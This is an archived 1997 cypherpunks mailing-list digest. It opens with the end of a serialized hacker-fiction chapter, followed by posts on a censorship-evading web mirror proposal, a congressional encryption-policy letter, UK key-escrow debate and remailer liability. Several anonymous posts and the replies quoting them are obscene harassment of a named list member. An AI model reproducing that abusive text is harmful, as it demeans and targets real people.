the lady had told him to do. And he was keeping his eyes open, like she said. Somehow, seeking to observe 
the weird things, instead of dreading and trying to avoid them, had helped. Now, instead of trying to repress 
the memory of these events, he would analyze them, note them, try to arrange them in a logical fashion, so 
that if he ever had to deal with them, to work with or against them, he would be prepared.
"Be prepared.", that's what the woman had told him during his initiation.
"You will probably will not be contacted for quite some time-perhaps never.", the woman had said, but that 
was all right. Just knowing that there was a Magic Circle, that there were others out there, waiting, 
preparing, possibly already acting against the strange forces he had encountered-that was enough, just 
knowing that he wasn't alone.

And then Tuesday...

It had been a strange couple of weeks.
The weirdness going on in his system was just the 'usual' weirdness. Programs that he hadn't written 
cropping up and running themselves. They followed the normal pattern, in most cases-extracting newly 
input information from the databases he was working with, sorting and codifying it, uploading it to 
/dev/null. Theoretically, that meant it was being sent 'nowhere', but he had long since figured out that 
'nowhere' was 'somewhere' that he was not supposed to discover.

So he left it alone...until Tuesday.

The Cowboy, one of the top computer honchos on the InterNet, probably the top honcho, according to 
many, had dropped out of sight, suddenly and unexpectedly, a couple of weeks before.

Strangely, he had been called into the Cowboy's 'domain'-"Cowboys don't have offices, they ride the 
range.", he had told Jonathan-the next working day after his initiation into the 'Circle'. He thought that this 
might be the 'contact' he was expecting, but it turned out to be a routine, minor matter.
There was a bizarre incident, however, which left Jonathan wondering if the Cowboy was really all that his 
reputation held him out to be.

The Cowboy had been drinking quite liberally from a bottle of Jack Daniel's he had stashed behind the 
monitor, while Jonathan worked on some minor programs that the Cowboy had told him to troubleshoot for 
him. Once Jonathan had completed his tasks, the Cowboy came over to check his work, and proceeded to 
log onto the terminal that Jonathan had been working on.
The Cowboy, his coordination seemingly affected by his prolonged drinking, accidentally hit the return key 
at the 'login:' prompt, and then typed 'Cowboy' into the 'password:' prompt by mistake, which 'hid' what he 
had typed, as it is supposed to do, in order to keep others from discovering another user's password. The 
Cowboy now typed his password in at the subsequent 'login:' prompt, where it was plainly visible for 
Jonathan to see. The Cowboy, in his inebriated state, repeated this mistake several times, cursing the system 
for not allowing him to log on, before realizing what he had done.
The Cowboy, looking up sheepishly at Jonathan, corrected his error, logged onto the system, checked 
Jonathan's work, then dismissed him.

This type of thing happened every now and then, with one user accidentally discovering another user's 
password, but Jonathan had never heard of such a thing at the ultimate level of security which the Cowboy 
was privileged to hold. And even a low-level user, having made this mistake, would immediately 'change' 
his or her password, in order to maintain the security of their user identity and their work. The Cowboy had 
not done this, which bothered Jonathan.

Then, when the Cowboy disappeared, Jonathan was called in to take over some of his duties, which were 
spread amongst a variety of individuals.
Jonathan was amazed at this, since the others sharing the Cowboys former duties were all top-notch, 
experienced 'Net'ers, which he was not, with high-level clearance in their regular posts. Jonathan then 
discovered, when changing his user attributes to match the Cowboy's, so that he could work with a variety 
of 'C-shell' programs, that his own security-level had been changed to match that of the Cowboy. What was 
unusual was that this had been done weeks ago-at the same time that Jonathan had been at home being 
initiated into the 'Circle of Eunuchs'.

Jonathan shivered as he thought about this, with a strange chill running up and down his spine. The same 
strange chill had occurred twice that day. The first time was when he realized that the strange men 
surrounding him in the office he was temporarily working in-men sent down directly from the Chief 
Director's Security Office-were all working frantically to try to 'break into' the Cowboy's user account-which 
Jonathan knew the password for. The second time was shortly thereafter, when thinking about the 'password' 
incident, and realizing that the Cowboy's password-gnimocsizemog-when spelled backwards, read 
'gomeziscoming'.

Then, Tuesday...
Jonathan was working at his home terminal, cleaning up a few leftovers from the day's office work, and he 
had noticed the intruding, unauthorized 'background' programs running, again.
When he checked into their activity, he noticed that they were doing searches on all of his databases, 
searching for the word 'Uncle'. Each time the word was found, the database record was uploaded to 
/dev/null, as usual. Jonathan decided it was time to find out just where the purloined information had been 
going, for all this time.
He pulled a sub-routine out of one of his programs, one designed to report back on 'path' errors when 
debugging programs. It was a sub-routine of his own design, and one that he was quite proud of. When one 
of his programs was sending its output files to some unknown place, with an unknown name, his sub-routine 
(which he called 'find_me.c'), would intervene to 'tag along' with the file, and, at its destination, change do a 
'pwd' command (report the 'present working directory'), and use that and the name of the unknown file as 
arguments for the 'find_me.c' file, which would then report back to Jonathan's terminal with the path name 
and file name of the lost file.

When Jonathan 'piped' his sub-routine into the intruder program, however, he got some very unexpected 
results.
First, he was booted out of his login account, and his terminal screen went blank. Secondly, the power to his 
system went off, and he could not turn it back on. Thirdly...

Jonathan reached for another bottle of bourbon. This one was Wild Turkey. He poured himself a stiff shot, 
threw it back, and thought about the third effect of his program.

Thirdly, there was the sound of jack-boots on the stairs, several minutes later, then the sound of his next-
door neighbor's door being kicked in, shots ringing out, and the sound of jack-boots leaving shortly 
thereafter. Jonathan had looked out the window to see dark figures loading his neighbor's lifeless body into 
a dark vehicle and then drive off into the night.
The following morning, Jonathan had seen the news of his own death come over the VirtualNews link, 
stating that a lone burglar, who escaped capture, was responsible. 
Jonathan had switched apartments with his neighbor the day before, switching their terminals inside the 
junction box himself, rather than wait for the apartment manager's return from his vacation. He had 
chastised himself for forgetting to change the names on their mail slots, as he had promised the neighbor he 
would take care of it, but that omission, apparently, had saved his life.

Jonathan reached for the bottle, once again, and thought about Bubba Rom Dos.
The broken-down old buzzard may be, as the woman had told him, a useless failure, having given up on 
life. But the geezer sure knew how to do it with style, and since it would undoubtedly be discovered, upon 
his landlord's return, that Jonathan was still alive, he could think of no one better to emulate, than Bubba 
Rom Dos, in his final days.

Jonathan raised his glass, in toast, to his new-found 'liquid guru', and he thought about the young girl he had 
encountered on his visit to see Bubba. What was her name? Alexis? 
Yes, Alexis.

----------------------------
Chapter 15 - Initiation







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 24 Mar 1997 16:27:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: [Proposal:] Revolving Web Mirrors
Message-ID: <199703241835.SAA00098@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hi,

I am working on a system of a revoloving web mirror.

The basic operation would be as follows:

1. The Server
- ------------

  The would be a server that would contain a colection of web pages that
have been "baned" or blocked due to their content by various countries. I
addition to this their would be a form that users could fill out to
subscribe to mirror a web page (details under User). The server would mail
out periodicaly to the users different web pages for them to mirror off of
their web pages.

2. The Forms
- ------------
  The Web Form for the user to fill out would give the user the options of
size/# of pages, general content type, and how often to change.

3. The User
- ----------

  The User would be able to offer some of his web space to mirror web pages
that due to their content have been blocked. The users should have a choice
of different catagories of web pages: political, sexual, crypto, ...ect.
(since they are donating the web space they should have some say in what
web pages they mirror).

  The User should be able to determin the amount of web space / # of web
pages he is willing to host.

  The User should be given the option of hosting HTML pages and/or
binaries. If he selects to host binaries he should have some selections as
to what binaries he is willing to host.

4. Links
- -------

 Some users may be unwilling or unable to mirror webpages. That may be
willing to provide links to baned web pages and/or to the web mirror
servers. A collection of links should be made available to the user so they
can be integrated into their web pages.

5. Notification
- ------------

 Users that have subscribed to the Mirror service should be sent e-mail
with a list of web pages that meet the options that they filled out in the
form. The should be given URL's of where they can download the pages along
with the orriginal web pages URL's so they can make the final determination
of what web pages they wish to mirror.



This is just a rough outline. If you have any thoughts or comments on this
please let me know.

If anyone has server space they could donate for such a project please let
me know.

Thanks,




- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: What I like about MS is its loyalty to customers!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBMzccE49Co1n+aLhhAQEvJAP9Edh72M0adX5ZXcKPo6qQvuvbLG/1u6Vo
CrPU8mMtRxbgBptRZgJ+fzCB98nEMASTUb/vkWx4He/sS5xs3Tjy5kS/fdxs9z4W
pNwoau9YsOJOOx8EMUIWJNU08x011kREqxFMP2M7ds+LHsO9HuVy/fvNPVJuXDOV
g7q/tEodJNc=
=+ixR
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Mon, 24 Mar 1997 18:34:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Reps. White and Bliley: requesting comments on crypto policy
Message-ID: <Pine.GSO.3.95.970324183355.20788A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Mon, 24 Mar 1997 19:33:39 -0500
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: FC: Reps. White and Bliley: requesting comments on crypto policy

Reps. Rick White (R-Washington) and Tom Bliley (R-Virginia) have been busy
sending out letters requesting comments on encryption policy -- and asking
pointed questions. The letters have gone to:

  Lieutenant General Kenneth Minihan, Director of the National Security Agency

  Secretary William Daley, United States Department of Commerce

  Director Louis Freeh, Federal Bureau of Investigation

  Ambassador David Aaron, U.S. Special Envoy for Cryptology

  Robert Holleyman, President of the Business Software Association

  Ken Wasch, President of the Software Publishers Association

  Kathy Kincaid, Director of I/T Security Programs at IBM

Attached is the one to the NSA.

-Declan

*******************

March 21, 1997

Lieutenant General Kenneth A. Minihan
Director
National Security Agency/Central Security Service
9800 Savage Road
Fort George G. Meade, MD 20755-6000
 

Dear General Minihan:

The Committee on Commerce has jurisdiction over
all matters relating to interstate and foreign
commerce, including commerce transacted over
electronic mediums. One vehicle for interstate
and foreign electronic commerce, the Internet,
has experienced unexpected and exceptional
growth. Our Committee has an obligation to ensure
that the growth of electronic commerce over the
Internet and other networks is not stifled by
unnecessary or harmful regulation or policies.
Thus, the Committee will be discussing what
policies best promote electronic commerce over
the Internet and other networks.

The growth and success of the Internet and the
World Wide Web as both a communications tool, and
a medium for electronic commerce is
unprecedented. Leading industry estimates
indicate that the number of people using the
Internet is increasing at the rate of more than
100% per year -- few technologies have had such
quick acceptance into the daily activities of
Americans. However, the full potential of the
Internet as a means for conducting business
transactions, or electronic commerce, has yet to
be achieved. Most leading experts agree that a
developed Internet, and corresponding intranets,
have the capability to be engines for economic
growth for those offering services over the
Internet, and also have the capability to be a
means for transforming business operations from
one of paper-intensity to one conducted solely
through electronic communications and
transactions.

Unlocking the full potential of the Internet and
thus, promoting the use of electronic commerce
has been difficult, in part, because of existing
and perceived barriers, e.g., many consumers and
businesses are concerned with the security and
privacy of transactions that would occur over the
Internet. A belief in the security of information
passed over the Internet and through on-line
services that use the public switched network
will foster the continued growth of electronic
commerce. Fortunately, the use of cryptography or
encryption, either hardware or software, may
provide a technological aid in the promotion of
electronic commerce. We believe, however, that a
sound encryption policy for both interstate and
foreign electronic commerce must balance users=
privacy interests with society=s interest in
legitimate law enforcement and investigative
needs and the needs to preserve national
security.

As you know, the U.S. has export restrictions on
certain encryption products that may or may not
interfere with the development of encryption
products designed to secure communications and
transactions. These restrictions have been the
subject of recently proposed legislation in
committees in both the House and Senate.

Because of our responsibility over electronic
commerce, we seek to have your views on a number
of the issues related to the various bills.
Therefore, we request that you provide written
answers to the following questions by April 25,
1997: (1) With the understanding that there are
no domestic restrictions on encryption products,
please provide examples where national security
may be jeopardized by the relaxation of current
American export restriction policy, as
incorporated in Executive Order 13026 and
implemented, in part, in the corresponding Bureau
of Export Administration rules of December 30,
1996. Are there remedies other than export
restrictions that would provide the United States
government the access it needs to encrypted
communications, e.g., increased funding for new
advanced computers? (2) How significant is your
agencies= consultive role with the Department of
Commerce within the current export restrictions?
Should this role be strengthened or is it even
necessary? How much additional application
process time does your agencies= consultive role
add to the Department of Commerce=s procedures?
(3) It is commonly accepted that current
encryption export restrictions imposed by the
Administration will delay the proliferation of
advanced encryption products, but that it is
inevitable that advanced encryption products will
be developed world-wide. In your opinion, do
export restrictions prevent the development and
distribution of advanced encryption products? (4)
Are foreign import restrictions consistent with
the Administration=s policy? Please identify the
countries that have import restrictions and those
that have stated their intent not to have any
import restrictions. If the United States relaxes
its export restrictions, do you anticipate that
foreign nations will increase their import
restrictions?

In addition, we request that your staff analyze
and submit their comments on the following: (1)
the current export restrictions; (2) the
congressional bills introduced that would alter
export policy (H.R. 695, S. 376, S. 377); and (3)
any other analysis related to encryption export
policy your organization has prepared.

Please have your staff contact John Morabito or
Tricia Paoletta of the Commerce Committee staff
at (202) 225-2927 if you have any questions
regarding the above request. We thank you in
advance for your assistance. With kindest
regards, we are

Sincerely,

 

Tom Bliley

Chairman


Rick White

Member of Congress





-------------------------
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/


--------------------------------------------------------------------------
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 24 Mar 1997 19:30:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Analysis of proposed UK ban on use of non-escrowed crypto.
In-Reply-To: <v03007809af5c7b59b9dd@[207.167.93.63]>
Message-ID: <56g44D12w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:
> (I could go on and cite dozens of examples. Did ASCII need the "force of
> law" to  make it a better standard? Did the government have to certify,
> license, and regulate the makers of various implmentations of computer
> languages? And so on.)

Bad example, Timmy.  I used to hang out with the standards people and
yes, a lot of government purchases (both US and non-US) are mandated
to comply with ANSI and ISO standards, which is why vendors push so hard
to have their implementation declared the standard. Yes, U.S.Gov't does
buy certified ANSI C, Fortran, etc compilers, not to mention ADA.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 24 Mar 1997 20:52:59 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: UK to ban free use of crypto?
Message-ID: <199703250451.UAA13267@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:56 AM 3/24/97 -0800, Bill Stewart wrote:
>The document is at http://dtiinfo1.dti.gov.uk/pubs/
>>It quite clearly does not intend to ban the use of cryptography or the
>>publication of cryptographic software.  
>
>And Michael Froomkin offers similar sentiments.  They're both lawyers,
>and I'm not (:-), so they're expected to do a better job of reading
>the legal parts of it.  On the other hand, the DTI says:
>	57.The legislation will provide that bodies wishing to offer 
>	or provide encryption services to the public in the UK will be 
>	required to obtain a licence. The legislation will give the 
>	Secretary of State discretion to determine appropriate licence conditions. 
>and it's got a really broad definition of "encryption services",
>including even things such as time-stamping.

Allowing government to "license" such services is a truly awful eventuality. 
 If such organizations merely had to comply with limited number of laws, 
getting around those laws would be relatively easy.  And the burden of proof 
(in many/most jurisdictions) is on the government to prove "guilt."  But the 
moment you start "licensing" those organizations, the licensing terms may 
allow refusal or revocation of license for little or no reason, or hidden 
reasons:  Perhaps the organization wouldn't "play footsie" with the 
government, giving up some information secretly and without a warrant.  
Potentially a large business goes down the drain.  Licensing is, therefore, 
an invitation to an essentially unlimited amount of coercion and manipulation.


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Raymond Mereniuk" <raymond@wcs.net>
Date: Mon, 24 Mar 1997 21:49:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re:  Disturbed Individual
In-Reply-To: <199703250019.QAA14324@sirius.infonex.com>
Message-ID: <199703250618.WAA27055@mat.wcs.net>
MIME-Version: 1.0
Content-Type: text/plain


The following message is the product of a disturbed individual.  From 
a Freudian perspective the sendee is projecting his own perversions 
onto the character of the subject of his ridicule.  This analysis is 
a touch simplistic but then who are we dealing with???
 


>Timmy C[rook] Mayonnaise's abysmal grammar, atrocious 
>spelling and feeble responses clearly identify him as a 
>product of the American education system.

         ___
       ./_ -\.
      q| o O |p
  -oOOO--~U~--OOOo- Timmy C[rook] Mayonnaise

Virtually

Raymond Mereniuk
Raymond@wcs.net




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 24 Mar 1997 21:54:42 -0800 (PST)
To: Shabbir Safdar <cypherpunks@toad.com
Subject: Re: INFO: Pro-CODE testimony available now online at democracy.net!
Message-ID: <199703250554.VAA22477@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:22 PM 3/24/97 -0500, Shabbir Safdar wrote:

>The hearing was held by the Senate Commerce Committe to consider S. 377,
>the Promotion of Commerce online in the Digital Era (Pro-CODE) Act and this
>issue of US encryption policy -- a critical issue to the Internet user
>community.

I, and maybe a lot of other people, are still waiting for somebody to do a 
side-by-side comparison of "Pro-Code 1997" with last year's version, the 
original.

What has changed?  For the worse?  Why?  Who wanted it changed?  Who changed 
it?  Are they embarrassed?


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 24 Mar 1997 19:43:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Announce: list-abuse mailing list
Message-ID: <v030209a5af5cf8b9f408@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Mon, 24 Mar 1997 15:12:13 +7
From: "John Buckman" <jbuckman@shelby.com>
Subject: Announce: list-abuse mailing list
To: listmom-talk@skyweyr.com
Precedence: Bulk
Sender: "ListMom-Talk Discussion List" <listmom-talk@skyweyr.com>
Reply-To: "ListMom-Talk Discussion List" <listmom-talk@skyweyr.com>

On the list-managers list, I suggested that a mailing list
discussing how to prevent mailing list abuse might be useful.

Based on the strongly positive feedback I received about the idea,
I've gone ahead and created a "list-abuse" mailing list.  I
apologize to members of "list-managers" who have already received
this announcement.

General instructions about joining "List-Abuse" are available at:
http://clio.lyris.net/list-abuse/

Alternatively, you can send email to: join-list-abuse@clio.lyris.net

About LIST-ABUSE: LIST-ABUSE is an Internet discussion group working
to stop abuses of Internet mailing lists. In particular, we aim to
stop mail bombs, spoofed-subscribers, denial of service attacks, and
other forms of "Mailing List Terrorism". Mailing list administrators,
authors of mailing list software, and others interested in mailing
list abuse are welcome to join.

John

John Buckman <jbuckman@shelby.com>
Shelby Group Ltd., http://www.shelby.com/
Developers of Lyris Email List Server

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Mon, 24 Mar 1997 20:27:44 -0800 (PST)
To: ericm@lne.com (Eric Murray)
Subject: Re: Jackboots in Canada
In-Reply-To: <199703212230.OAA29364@slack.lne.com>
Message-ID: <199703250449.WAA00786@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Eric said:
> owner-cypherpunks@sirius.infonex.com writes:
> > ...Hell's Angels and Rock Machine...have been battling for control of the
> > illegal drug trade in Canada.
> > Canadian justice minister, Allan Rock, said the measures would include
> > broadening laws on search warrants, electronic eavesdropping and bail
> > conditions for arrested gang members.
> The alternative, proposed by some goverment person (governor?) in Quebec, was
> to suspend "individual liberties" for bikers, making it possible to
> pull one over at any time, search them, and if explosives are found
> assume they're guilty until proven innocent. 
> That last part just floored me, how could anyone be willing to throw
> away rights like that?  At least here in the US they're not so

	It isn't their rights being thrown away, it is the rights of the 
evil bikers.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 24 Mar 1997 21:56:51 -0800 (PST)
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199703250020.QAA14541@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970324225356.39424A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



>From the pervert VULIS

On Mon, 24 Mar 1997, Mix wrote:

> Many forgeries are traceable with mathematical certainty to 
> feebleminded Tim C[rook] May's poison keyboard.
> 
>          ( )( )________ Tim C[rook] May
>          /00           \      _
>         O_\\--mm---mm  /_______)
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 24 Mar 1997 22:00:11 -0800 (PST)
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199703250019.QAA14324@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970324225735.39424D-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 24 Mar 1997, Mix wrote:

Vulis give it up.

> Timmy C[rook] Mayonnaise's abysmal grammar, atrocious 
> spelling and feeble responses clearly identify him as a 
> product of the American education system.
> 
>          ___
>        ./_ -\.
>       q| o O |p
>   -oOOO--~U~--OOOo- Timmy C[rook] Mayonnaise
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 24 Mar 1997 22:05:31 -0800 (PST)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: [IMPORTANT] Forgery detection
In-Reply-To: <199703250408.XAA32673@dhp.com>
Message-ID: <Pine.A41.3.95.970324230230.39424G-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 24 Mar 1997, lucifer Anonymous Remailer wrote:

PILL TIME vulis.

> Timmy C[rook] May's mother attempted to pro-choice the 
> unwanted little bastard by fishing with a coat hanger in her 
> giant cunt, but failed miserably to pull the rabbit and 
> succeeded only in scraping out the contents of little Timmy's 
> fetal cranium (not much to begin with).
> 
>          _
>         / '
>        |
>     /><oo><\  Timmy C[rook] May
>    //[ `' ]\\
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 24 Mar 1997 20:08:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: [IMPORTANT] Forgery detection
Message-ID: <199703250408.XAA32673@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[rook] May's mother attempted to pro-choice the 
unwanted little bastard by fishing with a coat hanger in her 
giant cunt, but failed miserably to pull the rabbit and 
succeeded only in scraping out the contents of little Timmy's 
fetal cranium (not much to begin with).

         _
        / '
       |
    /><oo><\  Timmy C[rook] May
   //[ `' ]\\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 24 Mar 1997 16:37:41 -0800 (PST)
To: stewarts@ix.netcom.com
Subject: Re: UK to ban free use of crypto?
In-Reply-To: <3.0.1.32.19970324005655.00627bd8@popd.ix.netcom.com>
Message-ID: <199703250023.AAA00902@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart <stewarts@ix.netcom.com> writes:
> The big problem is that the document has a really warped view of the 
> cryptographic and business services that a "Trusted Third Party" 
> would provide, and some parts are expressed in quite broad language.
> For instance, it implies that the TTP is being trusted with private keys,
> otherwise there would be no way for it to recover anything.
> 
> On the other hand, from their Q&A:
> 	Q: Will a TTP be able to access an encrypted message ? 
> 	A: No. It is important to be clear that it is not envisaged 
> 	that the encrypted communication would be routed via the TTP. 
> 	Nor will the TTP encrypt the message, it will merely assist 
> 	(depending on the service offered) in the very complex area of 
> 	key management or Key Certification. 

I think that the paper implies in several places that TTPs, if they
offer a CA service for public encryption keys, will also be required
to hold the private keys, and to hand the private keys over to the
government on demand.

This Q&A is not contradictory with this interpretation.

When they say that the TTP will not be able to decrypt the message,
what they mean is that it would be able to decrypt the message if the
message were given to it, but that that's not the way the GAK
architecture works.

What happens is they first obtain a authorisation for a wire tap, then
obtain copies of your email.  Then they go to the central access point
and ask for your private key.  Then *they* decrypt your email.  `The
TTP will not be able to access an encrypted message' in the sense that
they won't give it the message to decrypt.

> If the TTP is not encrypting the data, they don't need the secret key
> or your private key.  They DO need your public key, to sign it, 
> so a second party can trust that a key they have is really yours.
> But you and the second party can use the signed keys to exchange a
> secret session key, or to sign documents, without the TTP's help.*

This is bypassing the intent of the key-escrow/GAK functionality of a
TTP.  There is a section which discusses this, and makes it a design
criteria that users not be able to by pass the GAK function, whilst
making use of the signature certification function.  Personally, I'm
not sure that this is possible, as there a whole host of ways around
it.  (Use the signature key in the way you suggest, superencrypt,
subliminal channels, stego, etc).

> The main time you want another party to have a copy of your keys
> is for stored data:  to cover the "employee dies" case 
> (the document explicitly permits companies to handle their own keys 
> without regulation, so no TTP is needed here),

This is the point which I think should be pushed: the only commercial
need for CKE (_commerical_ key escrow) is for _stored_ data.  Do you
see any corporations crying out to open their communications for
industrial espionage by DISSI, NSA, GCHQ, etc.?

> SO - what _is_ all this malarkey about "legal access" and "key recovery"
> and "key escrow" systems?  The document claims repeatedly that it's not
> purporting to regulate any of the conditions under which a Third Party
> would ever be Trusted with the keys you actually encrypted something with.

I think there are several sections which imply that the TTP must keep
private encryption keys for any public encryption keys it holds (and
that it must allow government access to them).  There are many places
where the presumption is made that the TTP has the key to release to
government.

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 25 Mar 1997 02:29:15 -0800 (PST)
To: Andy Dustman <andy@CCMSD.chem.uga.edu>
Subject: Re: remailer spam throttle
In-Reply-To: <199703250150.BAA01138@server.test.net>
Message-ID: <3.0.1.32.19970325015832.006f7ef8@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 10:46 PM 3/24/97 -0500, Andy Dustman wrote:
>The first idea, which I've mentioned before, is requiring users to "sign" 
>a user agreement (magic cookie exchange) before they can send or receive
>messages. This agreement basically states that the operator does not
>monitor or filter based on content, and cannot trace messages back to the
>original sender, and thus is not liable under US law for contents (check
>some of the CDA provisions); and that the user is wholly responsible for
>the legality of any messages sent.

I think there are two broad models of complaints/problems with remailers:

1. The recipient is angry because they received a message they didn't like.
(because it's an advertisement, or it's rude, or it's an image that their
parents didn't like ..) 

2. A third party is angry because the sender sent some information to the
recipient which the third party thinks should not have been sent. (copyright,
trademark, defamation, tortious interference with [prospective] contract,
etc.) 

Your "contract" model (which looks like you really mean it to be a waiver of
warranty/damages and/or an indemnification agreement) addresses (1) to the
point of overkill, but it doesn't reach (2), because there's no contract with
the third party, who is the party who's likely to be filing suit.
(Indemnification by the sender might work, if you worded the contract
correctly - but then you've got to abandon anonymity, and the value of
indemnification from person you don't know whose assets/finances are unknown
is pretty low.)

Further, some fraction of the messages causing concern are message sent or
available to minors .. whose contracts (modulo some exceptions) are voidable
at their option. :(

>The second idea, which I want to implement in conjunction with the above,
>is to insert a disclaimer in the message body at the top of the message
>with the important points (and references to) the user agreement,
>including how to block messages. There would be a mechanism for clueful
>users to disable this for messages they receive. 

This also works better for messages which are bothersome because of (1), but
not (2). You can't, as a general rule, evade a duty imposed by law by posting
signs saying "I'm not subject to a duty imposed by law." If it was that easy,
we'd all be driving cars marked "GET OUT OF MY WAY, I'M NOT LIABLE IF I DRIVE
INTO YOU". (Of course, such signs are still useful, if they trick people into
not even thinking about suing someone who's got such a sign .. :) 


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMzehnv37pMWUJFlhAQF/Jwf/QXgM9arbu4ERP4HwcNciKxfLLJFu7/0e
yLEmuh0Nh7Ici0DbTtHK25ff8q/IHHMPZwuaNE9fXRhgewMvZKLrRXicBjpLisZE
3xjbuUwfqghyf9isa0vV6gOuGeZrzA10qqBFhze+kqkBN3qgT6Zk6c2xbT6rBxeA
TaD4Nwpg0xBKjHZjP8IYeYOIxN0zEpa3YTV4PSWKieHj71nfpa7B4FUiPHWZUOqA
x+p3oDV6dBkkkvxpASU5ifhTl0eRVO+xSidOZz6rF+cKyIELrk1A9j3BbdiwfyUy
jmr/0kin8OEqEkvOSQ1SJipEvEQbhauMMzoKLpVwngdO3ErX1SB6gg==
=QSem
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 25 Mar 1997 03:01:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Tim C. May's Interpretation of the U.K. Proposal
Message-ID: <199703251101.DAA29927@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> 
> The U.K. may sense that, absent such "local content" laws, the market for
